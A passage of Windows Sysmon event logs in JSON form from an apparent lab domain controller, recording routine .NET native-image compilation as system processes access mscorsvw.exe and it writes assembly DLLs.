C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001058BC0D00}","TargetProcessId":"4516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001058BC0D00}\r\nTargetProcessId: 4516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001058BC0D00}","TargetProcessId":"4516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:21.682\r\nProcessGuid: {90617006-42CD-5F2D-0000-001058BC0D00}\r\nProcessId: 4516\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11a4-0\\System.AddIn.dll\r\nCreationUtcTime: 2020-08-07 12:02:21.682","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:21.682","ProcessGuid":"{90617006-42CD-5F2D-0000-001058BC0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11a4-0\\System.AddIn.dll","CreationUtcTime":"2020-08-07 12:02:21.682","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001011C00D00}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001011C00D00}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001011C00D00}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001011C00D00}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001011C00D00}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001011C00D00}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.760\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F8C20D00}\r\nTargetProcessId: 4524\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.760","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F8C20D00}","TargetProcessId":"4524","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.760\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F8C20D00}\r\nTargetProcessId: 4524\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.760","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F8C20D00}","TargetProcessId":"4524","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F8C20D00}\r\nTargetProcessId: 4524\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F8C20D00}","TargetProcessId":"4524","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:21.807\r\nProcessGuid: {90617006-42CD-5F2D-0000-0010F8C20D00}\r\nProcessId: 4524\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11ac-0\\System.AddIn.Contract.dll\r\nCreationUtcTime: 2020-08-07 12:02:21.807","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:21.807","ProcessGuid":"{90617006-42CD-5F2D-0000-0010F8C20D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11ac-0\\System.AddIn.Contract.dll","CreationUtcTime":"2020-08-07 12:02:21.807","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 